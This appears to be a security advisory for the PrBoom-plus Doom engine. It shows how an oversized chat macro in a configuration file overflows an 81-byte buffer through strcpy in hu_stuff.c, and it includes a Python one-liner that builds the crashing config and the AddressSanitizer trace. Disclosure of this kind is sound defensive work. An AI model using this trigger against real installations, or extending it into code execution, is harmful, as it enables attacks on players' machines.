Tested on: Ubuntu 16.04 32 bit
Code from: https://svn.prboom.org/repos/branches/prboom-plus-24/prboom2/
Game data: FreeDM from https://freedoom.github.io/download.html
Buffer overflow in macro from cfg file
Code responsible for parsing configuration file accepts macros up to 32000 bytes:
m_misc.c:
706 {"Chat macros",{NULL},{0},UL,UL,def_none,ss_none},
707 {"chatmacro0", {0,&chat_macros[0]}, {0,HUSTR_CHATMACRO0},UL,UL,
708 def_str,ss_chat}, // chat string associated with 0 key
[...]
1415 #define CFG_BUFFERMAX 32000
[...]
1500 f = fopen (defaultfile, "r");
[...]
1507 fgets(cfgline, CFG_BUFFERMAX, f);
1508 if (sscanf (cfgline, "%79s %[^\n]\n", def, strparm) == 2)
However, when macro is used, it's copied to a buffer 81 bytes long:
hu_stuff.c:
2820 if (altdown)
2821 {
2822 c = c - '0';
2823 if (c > 9)
2824 return false;
2825 macromessage = chat_macros[c];
2826
2827 // kill last message with a '\n'
2828 HU_queueChatChar((char)key_enter); // DEBUG!!! // phares
2829
2830 // send the macro message
2831 while (*macromessage)
2832 HU_queueChatChar(*macromessage++);
2833 HU_queueChatChar((char)key_enter); // phares
2834
2835 // leave chat mode and notify that it was sent
2836 chat_on = false;
2837 strcpy(lastmessage, chat_macros[c]);
2838 plr->message = lastmessage;
2839 eatkey = true;
2840 }
hu_lib.h:
51 #define HU_MAXLINELENGTH 80
hu_stuff.c:
2722 static char lastmessage[HU_MAXLINELENGTH+1];
So it's possible to create configuration file which will cause buffer overflow when using the macro:
python -c 'print "chatmacro0 \"" + "\x61" * 4000 + "\""' > test.cfg
=================================================================
==2000==ERROR: AddressSanitizer: global-buffer-overflow on address 0x08442e71 at pc 0xb7a8f242 bp 0xbfa09a68 sp 0xbfa09638
WRITE of size 82 at 0x08442e71 thread T0
#0 0xb7a8f241 in __interceptor_strcpy (/usr/lib/i386-linux-gnu/libasan.so.3+0x8c241)
#1 0x81b2a75 in HU_Responder /root/projects/prboom-plus/prboom2/src/hu_stuff.c:2837
#2 0x81746de in D_PostEvent /root/projects/prboom-plus/prboom2/src/d_main.c:203
#3 0x83212c6 in I_GetEvent /root/projects/prboom-plus/prboom2/src/SDL/i_video.c:276
#4 0x8321917 in I_StartTic /root/projects/prboom-plus/prboom2/src/SDL/i_video.c:376
#5 0x82c2d7d in NetUpdate /root/projects/prboom-plus/prboom2/src/d_client.c:339
#6 0x82c39e3 in TryRunTics /root/projects/prboom-plus/prboom2/src/d_client.c:470
#7 0x81757ab in D_DoomLoop /root/projects/prboom-plus/prboom2/src/d_main.c:468
#8 0x817e950 in D_DoomMain /root/projects/prboom-plus/prboom2/src/d_main.c:1979
#9 0x8320041 in main /root/projects/prboom-plus/prboom2/src/SDL/i_main.c:576
#10 0xb7440636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#11 0x804daf6 (/root/projects/prboom-plus/prboom2/bin/games/prboom-plus+0x804daf6)
0x08442e71 is located 47 bytes to the left of global variable 'crossed_lines_count' defined in 'hu_tracers.c:143:5' (0x8442ea0) of size 4
0x08442e71 is located 0 bytes to the right of global variable 'lastmessage' defined in 'hu_stuff.c:2722:17' (0x8442e20) of size 81
SUMMARY: AddressSanitizer: global-buffer-overflow (/usr/lib/i386-linux-gnu/libasan.so.3+0x8c241) in __interceptor_strcpy
Shadow bytes around the buggy address:
0x21088570: 00 00 00 00 00 00 00 00 f9 f9 f9 f9 04 f9 f9 f9
0x21088580: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9
0x21088590: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9
0x210885a0: f9 f9 f9 f9 00 00 00 00 f9 f9 f9 f9 04 f9 f9 f9
0x210885b0: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9
=>0x210885c0: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00[01]f9
0x210885d0: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
0x210885e0: f9 f9 f9 f9 00 00 00 00 f9 f9 f9 f9 00 00 00 00
0x210885f0: f9 f9 f9 f9 00 00 00 00 f9 f9 f9 f9 04 f9 f9 f9
0x21088600: f9 f9 f9 f9 00 00 00 00 f9 f9 f9 f9 04 f9 f9 f9
0x21088610: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2000==ABORTING